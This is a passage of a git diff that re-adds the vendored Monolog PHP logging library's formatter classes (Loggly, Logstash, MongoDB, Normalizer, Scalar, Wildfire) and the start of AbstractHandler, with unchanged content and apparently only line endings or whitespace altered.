* @param int $batchMode - */ - public function __construct($batchMode = self::BATCH_MODE_NEWLINES, $appendNewline = false) - { - parent::__construct($batchMode, $appendNewline); - } - - /** - * Appends the 'timestamp' parameter for indexing by Loggly. - * - * @see https://www.loggly.com/docs/automated-parsing/#json - * @see \Monolog\Formatter\JsonFormatter::format() - */ - public function format(array $record) - { - if (isset($record["datetime"]) && ($record["datetime"] instanceof \DateTime)) { - $record["timestamp"] = $record["datetime"]->format("Y-m-d\TH:i:s.uO"); - // TODO 2.0 unset the 'datetime' parameter, retained for BC - } - - return parent::format($record); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +/** + * Encodes message information into JSON in a format compatible with Loggly. + * + * @author Adam Pancutt + */ +class LogglyFormatter extends JsonFormatter +{ + /** + * Overrides the default batch mode to new lines for compatibility with the + * Loggly bulk API. + * + * @param int $batchMode + */ + public function __construct($batchMode = self::BATCH_MODE_NEWLINES, $appendNewline = false) + { + parent::__construct($batchMode, $appendNewline); + } + + /** + * Appends the 'timestamp' parameter for indexing by Loggly. + * + * @see https://www.loggly.com/docs/automated-parsing/#json + * @see \Monolog\Formatter\JsonFormatter::format() + */ + public function format(array $record) + { + if (isset($record["datetime"]) && ($record["datetime"] instanceof \DateTime)) { + $record["timestamp"] = $record["datetime"]->format("Y-m-d\TH:i:s.uO"); + // TODO 2.0 unset the 'datetime' parameter, retained for BC + } + + return parent::format($record); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/LogstashFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/LogstashFormatter.php index ef90191f2f..8f83bec041 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/LogstashFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/LogstashFormatter.php @@ -1,166 +1,166 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -/** - * Serializes a log message to Logstash Event Format - * - * @see http://logstash.net/ - * @see https://github.com/logstash/logstash/blob/master/lib/logstash/event.rb - * - * @author Tim Mower - */ -class LogstashFormatter extends NormalizerFormatter -{ - const V0 = 0; - const V1 = 1; - - /** - * @var string the name of the system for the Logstash log message, used to fill the @source field - */ - protected $systemName; - - /** - * @var string an application name for the Logstash log message, used to fill the @type field - */ - protected $applicationName; - - /** - * @var string a prefix for 'extra' fields from the Monolog record (optional) - */ - protected $extraPrefix; - - /** - * @var string a prefix for 'context' fields from the Monolog record (optional) - */ - protected $contextPrefix; - - /** - * @var int logstash format version to use - */ - protected $version; - - /** - * @param string $applicationName the application that sends the data, used as the "type" field of logstash - * @param string $systemName the system/machine name, used as the "source" field of logstash, defaults to the hostname of the machine - * @param string $extraPrefix prefix for extra keys inside logstash "fields" - * @param string $contextPrefix prefix for context keys inside logstash "fields", defaults to ctxt_ - * @param int $version the logstash format version to use, defaults to 0 - */ - public function __construct($applicationName, $systemName = null, $extraPrefix = null, $contextPrefix = 'ctxt_', $version = self::V0) - { - // logstash requires a ISO 8601 format date with optional millisecond precision. - parent::__construct('Y-m-d\TH:i:s.uP'); - - $this->systemName = $systemName ?: gethostname(); - $this->applicationName = $applicationName; - $this->extraPrefix = $extraPrefix; - $this->contextPrefix = $contextPrefix; - $this->version = $version; - } - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - $record = parent::format($record); - - if ($this->version === self::V1) { - $message = $this->formatV1($record); - } else { - $message = $this->formatV0($record); - } - - return $this->toJson($message) . "\n"; - } - - protected function formatV0(array $record) - { - if (empty($record['datetime'])) { - $record['datetime'] = gmdate('c'); - } - $message = array( - '@timestamp' => $record['datetime'], - '@source' => $this->systemName, - '@fields' => array(), - ); - if (isset($record['message'])) { - $message['@message'] = $record['message']; - } - if (isset($record['channel'])) { - $message['@tags'] = array($record['channel']); - $message['@fields']['channel'] = $record['channel']; - } - if (isset($record['level'])) { - $message['@fields']['level'] = $record['level']; - } - if ($this->applicationName) { - $message['@type'] = $this->applicationName; - } - if (isset($record['extra']['server'])) { - $message['@source_host'] = $record['extra']['server']; - } - if (isset($record['extra']['url'])) { - $message['@source_path'] = $record['extra']['url']; - } - if (!empty($record['extra'])) { - foreach ($record['extra'] as $key => $val) { - $message['@fields'][$this->extraPrefix . $key] = $val; - } - } - if (!empty($record['context'])) { - foreach ($record['context'] as $key => $val) { - $message['@fields'][$this->contextPrefix . $key] = $val; - } - } - - return $message; - } - - protected function formatV1(array $record) - { - if (empty($record['datetime'])) { - $record['datetime'] = gmdate('c'); - } - $message = array( - '@timestamp' => $record['datetime'], - '@version' => 1, - 'host' => $this->systemName, - ); - if (isset($record['message'])) { - $message['message'] = $record['message']; - } - if (isset($record['channel'])) { - $message['type'] = $record['channel']; - $message['channel'] = $record['channel']; - } - if (isset($record['level_name'])) { - $message['level'] = $record['level_name']; - } - if ($this->applicationName) { - $message['type'] = $this->applicationName; - } - if (!empty($record['extra'])) { - foreach ($record['extra'] as $key => $val) { - $message[$this->extraPrefix . $key] = $val; - } - } - if (!empty($record['context'])) { - foreach ($record['context'] as $key => $val) { - $message[$this->contextPrefix . $key] = $val; - } - } - - return $message; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +/** + * Serializes a log message to Logstash Event Format + * + * @see http://logstash.net/ + * @see https://github.com/logstash/logstash/blob/master/lib/logstash/event.rb + * + * @author Tim Mower + */ +class LogstashFormatter extends NormalizerFormatter +{ + const V0 = 0; + const V1 = 1; + + /** + * @var string the name of the system for the Logstash log message, used to fill the @source field + */ + protected $systemName; + + /** + * @var string an application name for the Logstash log message, used to fill the @type field + */ + protected $applicationName; + + /** + * @var string a prefix for 'extra' fields from the Monolog record (optional) + */ + protected $extraPrefix; + + /** + * @var string a prefix for 'context' fields from the Monolog record (optional) + */ + protected $contextPrefix; + + /** + * @var int logstash format version to use + */ + protected $version; + + /** + * @param string $applicationName the application that sends the data, used as the "type" field of logstash + * @param string $systemName the system/machine name, used as the "source" field of logstash, defaults to the hostname of the machine + * @param string $extraPrefix prefix for extra keys inside logstash "fields" + * @param string $contextPrefix prefix for context keys inside logstash "fields", defaults to ctxt_ + * @param int $version the logstash format version to use, defaults to 0 + */ + public function __construct($applicationName, $systemName = null, $extraPrefix = null, $contextPrefix = 'ctxt_', $version = self::V0) + { + // logstash requires a ISO 8601 format date with optional millisecond precision. + parent::__construct('Y-m-d\TH:i:s.uP'); + + $this->systemName = $systemName ?: gethostname(); + $this->applicationName = $applicationName; + $this->extraPrefix = $extraPrefix; + $this->contextPrefix = $contextPrefix; + $this->version = $version; + } + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + $record = parent::format($record); + + if ($this->version === self::V1) { + $message = $this->formatV1($record); + } else { + $message = $this->formatV0($record); + } + + return $this->toJson($message) . "\n"; + } + + protected function formatV0(array $record) + { + if (empty($record['datetime'])) { + $record['datetime'] = gmdate('c'); + } + $message = array( + '@timestamp' => $record['datetime'], + '@source' => $this->systemName, + '@fields' => array(), + ); + if (isset($record['message'])) { + $message['@message'] = $record['message']; + } + if (isset($record['channel'])) { + $message['@tags'] = array($record['channel']); + $message['@fields']['channel'] = $record['channel']; + } + if (isset($record['level'])) { + $message['@fields']['level'] = $record['level']; + } + if ($this->applicationName) { + $message['@type'] = $this->applicationName; + } + if (isset($record['extra']['server'])) { + $message['@source_host'] = $record['extra']['server']; + } + if (isset($record['extra']['url'])) { + $message['@source_path'] = $record['extra']['url']; + } + if (!empty($record['extra'])) { + foreach ($record['extra'] as $key => $val) { + $message['@fields'][$this->extraPrefix . $key] = $val; + } + } + if (!empty($record['context'])) { + foreach ($record['context'] as $key => $val) { + $message['@fields'][$this->contextPrefix . $key] = $val; + } + } + + return $message; + } + + protected function formatV1(array $record) + { + if (empty($record['datetime'])) { + $record['datetime'] = gmdate('c'); + } + $message = array( + '@timestamp' => $record['datetime'], + '@version' => 1, + 'host' => $this->systemName, + ); + if (isset($record['message'])) { + $message['message'] = $record['message']; + } + if (isset($record['channel'])) { + $message['type'] = $record['channel']; + $message['channel'] = $record['channel']; + } + if (isset($record['level_name'])) { + $message['level'] = $record['level_name']; + } + if ($this->applicationName) { + $message['type'] = $this->applicationName; + } + if (!empty($record['extra'])) { + foreach ($record['extra'] as $key => $val) { + $message[$this->extraPrefix . $key] = $val; + } + } + if (!empty($record['context'])) { + foreach ($record['context'] as $key => $val) { + $message[$this->contextPrefix . $key] = $val; + } + } + + return $message; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/MongoDBFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/MongoDBFormatter.php index 7880391a16..bd9e4c02b4 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/MongoDBFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/MongoDBFormatter.php @@ -1,107 +1,107 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Utils; - -/** - * Formats a record for use with the MongoDBHandler. - * - * @author Florian Plattner - */ -class MongoDBFormatter implements FormatterInterface -{ - private $exceptionTraceAsString; - private $maxNestingLevel; - - /** - * @param int $maxNestingLevel 0 means infinite nesting, the $record itself is level 1, $record['context'] is 2 - * @param bool $exceptionTraceAsString set to false to log exception traces as a sub documents instead of strings - */ - public function __construct($maxNestingLevel = 3, $exceptionTraceAsString = true) - { - $this->maxNestingLevel = max($maxNestingLevel, 0); - $this->exceptionTraceAsString = (bool) $exceptionTraceAsString; - } - - /** - * {@inheritDoc} - */ - public function format(array $record) - { - return $this->formatArray($record); - } - - /** - * {@inheritDoc} - */ - public function formatBatch(array $records) - { - foreach ($records as $key => $record) { - $records[$key] = $this->format($record); - } - - return $records; - } - - protected function formatArray(array $record, $nestingLevel = 0) - { - if ($this->maxNestingLevel == 0 || $nestingLevel <= $this->maxNestingLevel) { - foreach ($record as $name => $value) { - if ($value instanceof \DateTime) { - $record[$name] = $this->formatDate($value, $nestingLevel + 1); - } elseif ($value instanceof \Exception) { - $record[$name] = $this->formatException($value, $nestingLevel + 1); - } elseif (is_array($value)) { - $record[$name] = $this->formatArray($value, $nestingLevel + 1); - } elseif (is_object($value)) { - $record[$name] = $this->formatObject($value, $nestingLevel + 1); - } - } - } else { - $record = '[...]'; - } - - return $record; - } - - protected function formatObject($value, $nestingLevel) - { - $objectVars = get_object_vars($value); - $objectVars['class'] = Utils::getClass($value); - - return $this->formatArray($objectVars, $nestingLevel); - } - - protected function formatException(\Exception $exception, $nestingLevel) - { - $formattedException = array( - 'class' => Utils::getClass($exception), - 'message' => $exception->getMessage(), - 'code' => (int) $exception->getCode(), - 'file' => $exception->getFile() . ':' . $exception->getLine(), - ); - - if ($this->exceptionTraceAsString === true) { - $formattedException['trace'] = $exception->getTraceAsString(); - } else { - $formattedException['trace'] = $exception->getTrace(); - } - - return $this->formatArray($formattedException, $nestingLevel); - } - - protected function formatDate(\DateTime $value, $nestingLevel) - { - return new \MongoDate($value->getTimestamp()); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Monolog\Utils; + +/** + * Formats a record for use with the MongoDBHandler. + * + * @author Florian Plattner + */ +class MongoDBFormatter implements FormatterInterface +{ + private $exceptionTraceAsString; + private $maxNestingLevel; + + /** + * @param int $maxNestingLevel 0 means infinite nesting, the $record itself is level 1, $record['context'] is 2 + * @param bool $exceptionTraceAsString set to false to log exception traces as a sub documents instead of strings + */ + public function __construct($maxNestingLevel = 3, $exceptionTraceAsString = true) + { + $this->maxNestingLevel = max($maxNestingLevel, 0); + $this->exceptionTraceAsString = (bool) $exceptionTraceAsString; + } + + /** + * {@inheritDoc} + */ + public function format(array $record) + { + return $this->formatArray($record); + } + + /** + * {@inheritDoc} + */ + public function formatBatch(array $records) + { + foreach ($records as $key => $record) { + $records[$key] = $this->format($record); + } + + return $records; + } + + protected function formatArray(array $record, $nestingLevel = 0) + { + if ($this->maxNestingLevel == 0 || $nestingLevel <= $this->maxNestingLevel) { + foreach ($record as $name => $value) { + if ($value instanceof \DateTime) { + $record[$name] = $this->formatDate($value, $nestingLevel + 1); + } elseif ($value instanceof \Exception) { + $record[$name] = $this->formatException($value, $nestingLevel + 1); + } elseif (is_array($value)) { + $record[$name] = $this->formatArray($value, $nestingLevel + 1); + } elseif (is_object($value)) { + $record[$name] = $this->formatObject($value, $nestingLevel + 1); + } + } + } else { + $record = '[...]'; + } + + return $record; + } + + protected function formatObject($value, $nestingLevel) + { + $objectVars = get_object_vars($value); + $objectVars['class'] = Utils::getClass($value); + + return $this->formatArray($objectVars, $nestingLevel); + } + + protected function formatException(\Exception $exception, $nestingLevel) + { + $formattedException = array( + 'class' => Utils::getClass($exception), + 'message' => $exception->getMessage(), + 'code' => (int) $exception->getCode(), + 'file' => $exception->getFile() . ':' . $exception->getLine(), + ); + + if ($this->exceptionTraceAsString === true) { + $formattedException['trace'] = $exception->getTraceAsString(); + } else { + $formattedException['trace'] = $exception->getTrace(); + } + + return $this->formatArray($formattedException, $nestingLevel); + } + + protected function formatDate(\DateTime $value, $nestingLevel) + { + return new \MongoDate($value->getTimestamp()); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php index c057ede810..3a01f2cefb 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php @@ -1,180 +1,180 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Exception; -use Monolog\Utils; - -/** - * Normalizes incoming records to remove objects/resources so it's easier to dump to various targets - * - * @author Jordi Boggiano - */ -class NormalizerFormatter implements FormatterInterface -{ - const SIMPLE_DATE = "Y-m-d H:i:s"; - - protected $dateFormat; - - /** - * @param string $dateFormat The format of the timestamp: one supported by DateTime::format - */ - public function __construct($dateFormat = null) - { - $this->dateFormat = $dateFormat ?: static::SIMPLE_DATE; - if (!function_exists('json_encode')) { - throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s NormalizerFormatter'); - } - } - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - return $this->normalize($record); - } - - /** - * {@inheritdoc} - */ - public function formatBatch(array $records) - { - foreach ($records as $key => $record) { - $records[$key] = $this->format($record); - } - - return $records; - } - - protected function normalize($data, $depth = 0) - { - if ($depth > 9) { - return 'Over 9 levels deep, aborting normalization'; - } - - if (null === $data || is_scalar($data)) { - if (is_float($data)) { - if (is_infinite($data)) { - return ($data > 0 ? '' : '-') . 'INF'; - } - if (is_nan($data)) { - return 'NaN'; - } - } - - return $data; - } - - if (is_array($data)) { - $normalized = array(); - - $count = 1; - foreach ($data as $key => $value) { - if ($count++ > 1000) { - $normalized['...'] = 'Over 1000 items ('.count($data).' total), aborting normalization'; - break; - } - - $normalized[$key] = $this->normalize($value, $depth+1); - } - - return $normalized; - } - - if ($data instanceof \DateTime) { - return $data->format($this->dateFormat); - } - - if (is_object($data)) { - // TODO 2.0 only check for Throwable - if ($data instanceof Exception || (PHP_VERSION_ID > 70000 && $data instanceof \Throwable)) { - return $this->normalizeException($data); - } - - // non-serializable objects that implement __toString stringified - if (method_exists($data, '__toString') && !$data instanceof \JsonSerializable) { - $value = $data->__toString(); - } else { - // the rest is json-serialized in some way - $value = $this->toJson($data, true); - } - - return sprintf("[object] (%s: %s)", Utils::getClass($data), $value); - } - - if (is_resource($data)) { - return sprintf('[resource] (%s)', get_resource_type($data)); - } - - return '[unknown('.gettype($data).')]'; - } - - protected function normalizeException($e) - { - // TODO 2.0 only check for Throwable - if (!$e instanceof Exception && !$e instanceof \Throwable) { - throw new \InvalidArgumentException('Exception/Throwable expected, got '.gettype($e).' / '.Utils::getClass($e)); - } - - $data = array( - 'class' => Utils::getClass($e), - 'message' => $e->getMessage(), - 'code' => (int) $e->getCode(), - 'file' => $e->getFile().':'.$e->getLine(), - ); - - if ($e instanceof \SoapFault) { - if (isset($e->faultcode)) { - $data['faultcode'] = $e->faultcode; - } - - if (isset($e->faultactor)) { - $data['faultactor'] = $e->faultactor; - } - - if (isset($e->detail)) { - if (is_string($e->detail)) { - $data['detail'] = $e->detail; - } elseif (is_object($e->detail) || is_array($e->detail)) { - $data['detail'] = $this->toJson($e->detail, true); - } - } - } - - $trace = $e->getTrace(); - foreach ($trace as $frame) { - if (isset($frame['file'])) { - $data['trace'][] = $frame['file'].':'.$frame['line']; - } - } - - if ($previous = $e->getPrevious()) { - $data['previous'] = $this->normalizeException($previous); - } - - return $data; - } - - /** - * Return the JSON representation of a value - * - * @param mixed $data - * @param bool $ignoreErrors - * @throws \RuntimeException if encoding fails and errors are not ignored - * @return string - */ - protected function toJson($data, $ignoreErrors = false) - { - return Utils::jsonEncode($data, null, $ignoreErrors); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Exception; +use Monolog\Utils; + +/** + * Normalizes incoming records to remove objects/resources so it's easier to dump to various targets + * + * @author Jordi Boggiano + */ +class NormalizerFormatter implements FormatterInterface +{ + const SIMPLE_DATE = "Y-m-d H:i:s"; + + protected $dateFormat; + + /** + * @param string $dateFormat The format of the timestamp: one supported by DateTime::format + */ + public function __construct($dateFormat = null) + { + $this->dateFormat = $dateFormat ?: static::SIMPLE_DATE; + if (!function_exists('json_encode')) { + throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s NormalizerFormatter'); + } + } + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + return $this->normalize($record); + } + + /** + * {@inheritdoc} + */ + public function formatBatch(array $records) + { + foreach ($records as $key => $record) { + $records[$key] = $this->format($record); + } + + return $records; + } + + protected function normalize($data, $depth = 0) + { + if ($depth > 9) { + return 'Over 9 levels deep, aborting normalization'; + } + + if (null === $data || is_scalar($data)) { + if (is_float($data)) { + if (is_infinite($data)) { + return ($data > 0 ? '' : '-') . 'INF'; + } + if (is_nan($data)) { + return 'NaN'; + } + } + + return $data; + } + + if (is_array($data)) { + $normalized = array(); + + $count = 1; + foreach ($data as $key => $value) { + if ($count++ > 1000) { + $normalized['...'] = 'Over 1000 items ('.count($data).' total), aborting normalization'; + break; + } + + $normalized[$key] = $this->normalize($value, $depth+1); + } + + return $normalized; + } + + if ($data instanceof \DateTime) { + return $data->format($this->dateFormat); + } + + if (is_object($data)) { + // TODO 2.0 only check for Throwable + if ($data instanceof Exception || (PHP_VERSION_ID > 70000 && $data instanceof \Throwable)) { + return $this->normalizeException($data); + } + + // non-serializable objects that implement __toString stringified + if (method_exists($data, '__toString') && !$data instanceof \JsonSerializable) { + $value = $data->__toString(); + } else { + // the rest is json-serialized in some way + $value = $this->toJson($data, true); + } + + return sprintf("[object] (%s: %s)", Utils::getClass($data), $value); + } + + if (is_resource($data)) { + return sprintf('[resource] (%s)', get_resource_type($data)); + } + + return '[unknown('.gettype($data).')]'; + } + + protected function normalizeException($e) + { + // TODO 2.0 only check for Throwable + if (!$e instanceof Exception && !$e instanceof \Throwable) { + throw new \InvalidArgumentException('Exception/Throwable expected, got '.gettype($e).' / '.Utils::getClass($e)); + } + + $data = array( + 'class' => Utils::getClass($e), + 'message' => $e->getMessage(), + 'code' => (int) $e->getCode(), + 'file' => $e->getFile().':'.$e->getLine(), + ); + + if ($e instanceof \SoapFault) { + if (isset($e->faultcode)) { + $data['faultcode'] = $e->faultcode; + } + + if (isset($e->faultactor)) { + $data['faultactor'] = $e->faultactor; + } + + if (isset($e->detail)) { + if (is_string($e->detail)) { + $data['detail'] = $e->detail; + } elseif (is_object($e->detail) || is_array($e->detail)) { + $data['detail'] = $this->toJson($e->detail, true); + } + } + } + + $trace = $e->getTrace(); + foreach ($trace as $frame) { + if (isset($frame['file'])) { + $data['trace'][] = $frame['file'].':'.$frame['line']; + } + } + + if ($previous = $e->getPrevious()) { + $data['previous'] = $this->normalizeException($previous); + } + + return $data; + } + + /** + * Return the JSON representation of a value + * + * @param mixed $data + * @param bool $ignoreErrors + * @throws \RuntimeException if encoding fails and errors are not ignored + * @return string + */ + protected function toJson($data, $ignoreErrors = false) + { + return Utils::jsonEncode($data, null, $ignoreErrors); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/ScalarFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/ScalarFormatter.php index 4a915d4c1b..5d345d53c6 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/ScalarFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/ScalarFormatter.php @@ -1,48 +1,48 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -/** - * Formats data into an associative array of scalar values. - * Objects and arrays will be JSON encoded. - * - * @author Andrew Lawson - */ -class ScalarFormatter extends NormalizerFormatter -{ - /** - * {@inheritdoc} - */ - public function format(array $record) - { - foreach ($record as $key => $value) { - $record[$key] = $this->normalizeValue($value); - } - - return $record; - } - - /** - * @param mixed $value - * @return mixed - */ - protected function normalizeValue($value) - { - $normalized = $this->normalize($value); - - if (is_array($normalized) || is_object($normalized)) { - return $this->toJson($normalized, true); - } - - return $normalized; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +/** + * Formats data into an associative array of scalar values. + * Objects and arrays will be JSON encoded. + * + * @author Andrew Lawson + */ +class ScalarFormatter extends NormalizerFormatter +{ + /** + * {@inheritdoc} + */ + public function format(array $record) + { + foreach ($record as $key => $value) { + $record[$key] = $this->normalizeValue($value); + } + + return $record; + } + + /** + * @param mixed $value + * @return mixed + */ + protected function normalizeValue($value) + { + $normalized = $this->normalize($value); + + if (is_array($normalized) || is_object($normalized)) { + return $this->toJson($normalized, true); + } + + return $normalized; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Formatter/WildfireFormatter.php b/vendor/monolog/monolog/src/Monolog/Formatter/WildfireFormatter.php index d1c0c5f653..65dba99c9e 100644 --- a/vendor/monolog/monolog/src/Monolog/Formatter/WildfireFormatter.php +++ b/vendor/monolog/monolog/src/Monolog/Formatter/WildfireFormatter.php @@ -1,113 +1,113 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Formatter; - -use Monolog\Logger; - -/** - * Serializes a log message according to Wildfire's header requirements - * - * @author Eric Clemmons (@ericclemmons) - * @author Christophe Coevoet - * @author Kirill chEbba Chebunin - */ -class WildfireFormatter extends NormalizerFormatter -{ - const TABLE = 'table'; - - /** - * Translates Monolog log levels to Wildfire levels. - */ - private $logLevels = array( - Logger::DEBUG => 'LOG', - Logger::INFO => 'INFO', - Logger::NOTICE => 'INFO', - Logger::WARNING => 'WARN', - Logger::ERROR => 'ERROR', - Logger::CRITICAL => 'ERROR', - Logger::ALERT => 'ERROR', - Logger::EMERGENCY => 'ERROR', - ); - - /** - * {@inheritdoc} - */ - public function format(array $record) - { - // Retrieve the line and file if set and remove them from the formatted extra - $file = $line = ''; - if (isset($record['extra']['file'])) { - $file = $record['extra']['file']; - unset($record['extra']['file']); - } - if (isset($record['extra']['line'])) { - $line = $record['extra']['line']; - unset($record['extra']['line']); - } - - $record = $this->normalize($record); - $message = array('message' => $record['message']); - $handleError = false; - if ($record['context']) { - $message['context'] = $record['context']; - $handleError = true; - } - if ($record['extra']) { - $message['extra'] = $record['extra']; - $handleError = true; - } - if (count($message) === 1) { - $message = reset($message); - } - - if (isset($record['context'][self::TABLE])) { - $type = 'TABLE'; - $label = $record['channel'] .': '. $record['message']; - $message = $record['context'][self::TABLE]; - } else { - $type = $this->logLevels[$record['level']]; - $label = $record['channel']; - } - - // Create JSON object describing the appearance of the message in the console - $json = $this->toJson(array( - array( - 'Type' => $type, - 'File' => $file, - 'Line' => $line, - 'Label' => $label, - ), - $message, - ), $handleError); - - // The message itself is a serialization of the above JSON object + it's length - return sprintf( - '%s|%s|', - strlen($json), - $json - ); - } - - public function formatBatch(array $records) - { - throw new \BadMethodCallException('Batch formatting does not make sense for the WildfireFormatter'); - } - - protected function normalize($data, $depth = 0) - { - if (is_object($data) && !$data instanceof \DateTime) { - return $data; - } - - return parent::normalize($data, $depth); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Formatter; + +use Monolog\Logger; + +/** + * Serializes a log message according to Wildfire's header requirements + * + * @author Eric Clemmons (@ericclemmons) + * @author Christophe Coevoet + * @author Kirill chEbba Chebunin + */ +class WildfireFormatter extends NormalizerFormatter +{ + const TABLE = 'table'; + + /** + * Translates Monolog log levels to Wildfire levels. + */ + private $logLevels = array( + Logger::DEBUG => 'LOG', + Logger::INFO => 'INFO', + Logger::NOTICE => 'INFO', + Logger::WARNING => 'WARN', + Logger::ERROR => 'ERROR', + Logger::CRITICAL => 'ERROR', + Logger::ALERT => 'ERROR', + Logger::EMERGENCY => 'ERROR', + ); + + /** + * {@inheritdoc} + */ + public function format(array $record) + { + // Retrieve the line and file if set and remove them from the formatted extra + $file = $line = ''; + if (isset($record['extra']['file'])) { + $file = $record['extra']['file']; + unset($record['extra']['file']); + } + if (isset($record['extra']['line'])) { + $line = $record['extra']['line']; + unset($record['extra']['line']); + } + + $record = $this->normalize($record); + $message = array('message' => $record['message']); + $handleError = false; + if ($record['context']) { + $message['context'] = $record['context']; + $handleError = true; + } + if ($record['extra']) { + $message['extra'] = $record['extra']; + $handleError = true; + } + if (count($message) === 1) { + $message = reset($message); + } + + if (isset($record['context'][self::TABLE])) { + $type = 'TABLE'; + $label = $record['channel'] .': '. $record['message']; + $message = $record['context'][self::TABLE]; + } else { + $type = $this->logLevels[$record['level']]; + $label = $record['channel']; + } + + // Create JSON object describing the appearance of the message in the console + $json = $this->toJson(array( + array( + 'Type' => $type, + 'File' => $file, + 'Line' => $line, + 'Label' => $label, + ), + $message, + ), $handleError); + + // The message itself is a serialization of the above JSON object + it's length + return sprintf( + '%s|%s|', + strlen($json), + $json + ); + } + + public function formatBatch(array $records) + { + throw new \BadMethodCallException('Batch formatting does not make sense for the WildfireFormatter'); + } + + protected function normalize($data, $depth = 0) + { + if (is_object($data) && !$data instanceof \DateTime) { + return $data; + } + + return parent::normalize($data, $depth); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/AbstractHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/AbstractHandler.php index b304c22a3d..cdd9f7d402 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/AbstractHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/AbstractHandler.php @@ -1,196 +1,196 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\FormatterInterface; -use Monolog\Formatter\LineFormatter; -use Monolog\Logger; -use Monolog\ResettableInterface; - -/** - * Base Handler class providing the Handler structure - * - * @author Jordi Boggiano - */ -abstract class AbstractHandler implements HandlerInterface, ResettableInterface -{ - protected $level = Logger::DEBUG; - protected $bubble = true; - - /** - * @var FormatterInterface - */ - protected $formatter; - protected $processors = array(); - - /** - * @param int|string $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct($level = Logger::DEBUG, $bubble = true) - { - $this->setLevel($level); - $this->bubble = $bubble; - } - - /** - * {@inheritdoc} - */ - public function isHandling(array $record) - { - return $record['level'] >= $this->level; - } - - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - foreach ($records as $record) { - $this->handle($record); - } - } - - /** - * Closes the handler. - * - * This will be called automatically when the object is destroyed - */ - public function close() - { - } - - /** - * {@inheritdoc} - */ - public function pushProcessor($callback) - { - if (!is_callable($callback)) { - throw new \InvalidArgumentException('Processors must be valid callables (callback or object with an __invoke method), '.var_export($callback, true).' given'); - } - array_unshift($this->processors, $callback); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function popProcessor() - { - if (!$this->processors) { - throw new \LogicException('You tried to pop from an empty processor stack.'); - } - - return array_shift($this->processors); - } - - /** - * {@inheritdoc} - */ - public function setFormatter(FormatterInterface $formatter) - { - $this->formatter = $formatter; - - return $this; - } - - /** - * {@inheritdoc} - */ - public function getFormatter() - { - if (!$this->formatter) { - $this->formatter = $this->getDefaultFormatter(); - } - - return $this->formatter; - } - - /** - * Sets minimum logging level at which this handler will be triggered. - * - * @param int|string $level Level or level name - * @return self - */ - public function setLevel($level) - { - $this->level = Logger::toMonologLevel($level); - - return $this; - } - - /** - * Gets minimum logging level at which this handler will be triggered. - * - * @return int - */ - public function getLevel() - { - return $this->level; - } - - /** - * Sets the bubbling behavior. - * - * @param bool $bubble true means that this handler allows bubbling. - * false means that bubbling is not permitted. - * @return self - */ - public function setBubble($bubble) - { - $this->bubble = $bubble; - - return $this; - } - - /** - * Gets the bubbling behavior. - * - * @return bool true means that this handler allows bubbling. - * false means that bubbling is not permitted. - */ - public function getBubble() - { - return $this->bubble; - } - - public function __destruct() - { - try { - $this->close(); - } catch (\Exception $e) { - // do nothing - } catch (\Throwable $e) { - // do nothing - } - } - - public function reset() - { - foreach ($this->processors as $processor) { - if ($processor instanceof ResettableInterface) { - $processor->reset(); - } - } - } - - /** - * Gets the default formatter. - * - * @return FormatterInterface - */ - protected function getDefaultFormatter() - { - return new LineFormatter(); - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\FormatterInterface; +use Monolog\Formatter\LineFormatter; +use 